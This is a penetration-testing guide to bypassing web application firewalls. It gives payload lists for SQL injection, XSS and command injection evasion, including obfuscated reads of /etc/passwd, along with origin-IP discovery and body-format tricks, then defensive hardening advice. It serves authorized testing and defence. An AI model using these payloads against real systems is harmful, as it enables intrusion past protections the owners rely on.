10 min read

WAF Bypass Techniques

Web Application Firewalls (WAFs) are a common defense layer, but they can be bypassed. Understanding bypass techniques helps assess whether the WAF actually provides effective protection.

Scope Reminder

WAF bypass testing should be explicitly included in the engagement scope. Some clients want to test their WAF's effectiveness; others want you to test the application with the WAF disabled. Clarify this during pre-engagement.

Frameworks: WSTG n/a (obfuscates INPV payloads) · ASVS 5.0 V1.1.1 · CWE-693 · T1562.001

What the WAF Sees, and What the Origin Sees

A WAF is a parser in front of another parser. It decodes the request, applies signatures or a scoring model, then forwards bytes to an origin that decodes them again by its own rules. Every useful bypass lives in that gap: the WAF evaluates a different string from the one the application executes. So a bypass is not a property of a payload — the same tag is blocked on one target and accepted on another.

A bypass only matters if the application is vulnerable underneath it; where input is parameterised and output encoded, getting past the edge is a control gap. These techniques find parser disagreements, not guarantees — vendor rules change weekly.

Blocked, or Just Wrong?

Learn what a block looks like before attempting evasions. Send a benign request, then an offensive one, and compare status, body size and headers. A block is usually a 403 or 406 with a vendor page or a distinctive header (cf-ray, x-sucuri-id); a payload that reached the app and did nothing looks like a normal 200. Confusing the two is why scanners report bypasses that do not exist.

block-or-fail.sh
# Baseline vs probe: status, body size, content type, then edge headers
for p in 'hello' '<script>alert(1)</script>'; do
  curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \
    --get --data-urlencode "q=$p" https://target.com/search
  curl -sI --get --data-urlencode "q=$p" https://target.com/search \
    | grep -iE 'server|cf-ray|x-sucuri|x-cdn|akamai'
done

A 403 on both means the path is protected for everyone. A 200 on both means this parameter is not inspected — a coverage finding, not yet a verdict on the app.

WAF Detection & Fingerprinting

Fingerprinting points at which quirks to try: Cloudflare decodes form bodies differently from multipart, ModSecurity's paranoia level changes which rules run, and Akamai often rejects at the connection layer. Identify the vendor, then keep it as a hypothesis — origins often sit behind more than one layer.

waf-detection.sh
# wafw00f - WAF fingerprinting tool
pip install wafw00f
wafw00f https://target.com

# Nmap WAF detection scripts
nmap --script=http-waf-detect,http-waf-fingerprint target.com

# Manual indicators:
# - Custom error pages on blocked requests
# - Specific response headers (X-Sucuri-ID, X-CDN, cf-ray)
# - Connection dropped on suspicious payloads
# - JavaScript challenges or CAPTCHAs
# - HTTP 403/406/429 on injection attempts

# Test with a simple payload:
curl -v "https://target.com/search?q=<script>alert(1)</script>"
# If blocked → WAF likely present
WAF Detection Header/Indicator Bypass Difficulty
Cloudflare cf-ray, server: cloudflare Medium-Hard
AWS WAF 403 body ("Request blocked"), WAF rule banner/support ID Medium
Akamai AkamaiGHost, reference ID in error Hard
ModSecurity Apache/Nginx default 403, paranoia levels Medium (depends on ruleset)
Sucuri X-Sucuri-ID, custom block page Medium
Imperva/Incapsula X-CDN, incap_ses_ cookies Hard

SQL Injection WAF Bypass

These are mutations, not a sequence. Apply one at a time to a parameter that already produced a differential before any WAF was involved, and read the result as a differential: a database error, a changed row count, a boolean shift. A 200 proves nothing; if every variant returns the control's body, the parameter is probably not injectable.

sqli-waf-bypass.txt
# Encoding bypasses
# URL encoding
1%27%20OR%20%271%27%3D%271
# Double URL encoding
1%2527%2520OR%2520%25271%2527%253D%25271
# Unicode/UTF-8 encoding
1%C0%A7%20OR%20%C0%A71%C0%A7%3D%C0%A71

# Comment-based bypasses
1'/**/OR/**/1=1--
1'/*!50000OR*/1=1--          # MySQL version-specific comments
1'||/**/1=1--

# Case manipulation
1' oR 1=1--
1' Or 1=1--

# Whitespace alternatives
1'%09OR%091=1--              # Tab
1'%0AOR%0A1=1--              # Newline
1'%0COR%0C1=1--              # Form feed
1'%A0OR%A01=1--              # Non-breaking space

# Keyword alternatives
1' || 1=1--                   # OR → ||
1' && 1=1--                   # AND → &&
1' DIV 1--                    # Alternative operators

# SQLMap tamper scripts
sqlmap -u "https://target.com/?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "https://target.com/?id=1" --tamper=charencode,chardoubleencode
sqlmap -u "https://target.com/?id=1" --tamper=equaltolike,greatest

# Common tamper scripts:
# space2comment  - Replace spaces with /**/
# between        - Replace > with BETWEEN
# randomcase     - Random capitalization
# charencode     - URL-encode characters
# equaltolike    - Replace = with LIKE

XSS WAF Bypass

For XSS the confirmation is execution, not reflection. A payload that appears as text, or inside JSON with angle brackets encoded, has not executed; use one that calls back to a listener you control. The alternatives below target a filter's keyword list and the browser's parsing tolerance.

xss-waf-bypass.html
# Event handler alternatives (when <script> is blocked)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>

# Case and encoding tricks
<ScRiPt>alert(1)</ScRiPt>
<script>alert\u00281)</script>
<script>al\u0065rt(1)</script>
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;1&#41;">

# Tag and attribute obfuscation
<scr<script>ipt>alert(1)</scr</script>ipt>
<img/src=x/onerror=alert(1)>
<img src=x onerror = alert(1) >

# JavaScript protocol bypasses
<a href="javascript:alert(1)">click</a>
<a href="&#106;avascript:alert(1)">click</a>
<a href="&#x6A;avascript:alert(1)">click</a>

# Template literal / backtick payloads
<script>alert`1`</script>
<img src=x onerror=alert`1`>

# Bypassing keyword filters
<script>window['al'+'ert'](1)</script>
<script>self[atob('YWxlcnQ=')](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>

Command Injection WAF Bypass

These exploit the shell's grammar, not a keyword list: separators, variable expansion, globbing and quoting let one command be spelled several ways. The positive is output — /etc/passwd, id, or a callback. A 500 with no output and no callback is a failed payload, not a block.

cmdi-waf-bypass.sh
# Space bypass alternatives
cat</etc/passwd
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat%09/etc/passwd

# Keyword bypass
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
/???/??t /???/p??s??        # Glob patterns
$(printf '\x63\x61\x74') /etc/passwd   # Hex encoding

# Variable-based bypass
a=cat;b=/etc/passwd;$a $b
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)   # Base64

# Newline/separator bypass
;cat /etc/passwd
|cat /etc/passwd
`cat /etc/passwd`
$(cat /etc/passwd)
%0acat /etc/passwd          # Newline
%0dcat /etc/passwd          # Carriage return

General WAF Bypass Techniques

HTTP Method Switching

  • • Change GET to POST or vice versa
  • • Use PUT, PATCH, or DELETE methods
  • • Try method override headers (X-HTTP-Method-Override)

Content-Type Manipulation

  • • Switch between application/json and form data
  • • Use multipart/form-data with payloads in file fields
  • • Try text/xml or application/xml

Request Splitting & Chunking

  • • Split payload across multiple parameters
  • • Use chunked Transfer-Encoding
  • • Abuse parameter pollution (HPP)

Origin-Based Bypass

  • • Find the origin IP behind the WAF/CDN
  • • Check DNS history, email headers, SSL certs
  • • Access the server directly, bypassing the WAF entirely

Reaching the origin is the one bypass that is not a parser game: if the CDN is the only thing blocking you, the application is exposed. Confirm with a Host header and a response that differs from the CDN's — a matching certificate or ETag is weak evidence, since both are cloned.

origin-ip-discovery.sh
# Finding origin IP behind CDN/WAF
# DNS history
dig +short target.com @8.8.8.8
# Check historical DNS records at: securitytrails.com, viewdns.info

# Certificate SANs (enumerate additional hostnames / origin candidates)
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -ext subjectAltName

# Shodan/Censys search for SSL cert hash
shodan search ssl.cert.subject.CN:target.com

# Send requests directly to origin IP with Host header
curl -H "Host: target.com" "https://ORIGIN_IP/vulnerable?id=1' OR 1=1--"

Encoding, Normalisation and Body Format

Most real bypasses are decoding disagreements, not exotic syntax. The WAF URL-decodes once and the framework twice, so %2527 reaches the query as %27 and then as a quote. The WAF normalises Unicode and the origin does not. The WAF parses a JSON body while the origin binds a form body of the same names, so multipart/form-data hides the payload.

body-format-evasion.sh
# Same value, three body formats. Send the payload in each and compare.
# The origin's binder decides what it reads; the WAF may only parse one of them.

# 1. JSON
curl -s -X POST https://target.com/api/search \
  -H 'Content-Type: application/json' \
  -d '{"q":"PAYLOAD"}'

# 2. URL-encoded form
curl -s -X POST https://target.com/api/search \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'q=PAYLOAD'

# 3. Multipart, with the value in a normal field and in a file field
curl -s -X POST https://target.com/api/search \
  -F 'q=PAYLOAD' \
  -F 'file=@payload.txt;type=text/plain'

# Normalisation probes for the same parameter:
#   %2527 (double-encoded quote)   %EF%BC%87 (fullwidth apostrophe)
#   \u0027 (JSON escape)           %C0%A7 (overlong UTF-8)
# A response that differs from the control means the origin decoded it —
# confirm the underlying vulnerability before calling it a WAF bypass.

Record which layer changed behaviour, because that is the remediation: if JSON is filtered and multipart is not, the rule needs to parse multipart. Where both are filtered and the origin still executes, the finding is the missing application control, not the WAF.

Defense & WAF Hardening

WAF Best Practices

Configuration

  • • WAFs are defense-in-depth, not a replacement for secure code
  • • Use positive security models (allowlist) over negative (blocklist)
  • • Normalize/decode input before rule evaluation
  • • Enable recursive decoding (multi-pass normalization)

Architecture

  • • Restrict origin server to only accept traffic from WAF IPs
  • • Don't expose origin IP in DNS, emails, or error messages
  • • Keep WAF rules and signatures up to date
  • • Test WAF bypass regularly as part of security assessments

CWE References: CWE-693 (Protection Mechanism Failure)

WAF Bypass Checklist

Detection

  • ☐ WAF identified & fingerprinted
  • ☐ Block patterns documented
  • ☐ Origin IP search performed
  • ☐ Rate limiting behavior noted

Encoding Bypasses

  • ☐ URL encoding (single/double)
  • ☐ Unicode / UTF-8 encoding
  • ☐ HTML entity encoding
  • ☐ Base64 / hex encoding

Request Manipulation

  • ☐ HTTP method switching
  • ☐ Content-Type manipulation
  • ☐ Parameter pollution
  • ☐ Chunked encoding bypass

Evidence Collection

Bypass Payload: Document the exact payload that bypassed the WAF alongside the blocked version — show the WAF's block response for the original and successful pass-through for the evasion.

Encoding Variants: Record which encoding techniques (double URL encoding, Unicode normalization, HTML entities, mixed case) successfully evaded detection rules.

Rule Gap Documentation: Identify the specific WAF rule or category being bypassed — cross-reference with the WAF vendor's ruleset documentation to demonstrate the coverage gap.

Protocol-Level Bypass: If the bypass uses HTTP/2 binary framing, chunked encoding, or content-type switching, capture the raw request showing the protocol-level evasion technique.

CVSS Range: WAF bypass is not independently scored — the CVSS reflects the underlying vulnerability (e.g., SQLi, XSS) with a note that WAF was the sole mitigation control.

False Positive Identification

  • WAF is Not a Fix: Bypassing a WAF doesn't create a new vulnerability — it demonstrates that the WAF is an insufficient sole mitigation. The underlying vulnerability must exist independently.
  • Different WAF Mode: Some WAFs run in detection/logging mode rather than blocking — confirm the WAF is in enforce mode before claiming a bypass.
  • Allowlisted Source: Testing from an IP or user agent on the WAF allowlist may produce apparent bypasses that don't work from external attacker positions.
  • Backend Validation Present: If the application has proper input validation independent of the WAF, a WAF bypass alone has no exploitable impact — verify the vulnerability exists at the application layer.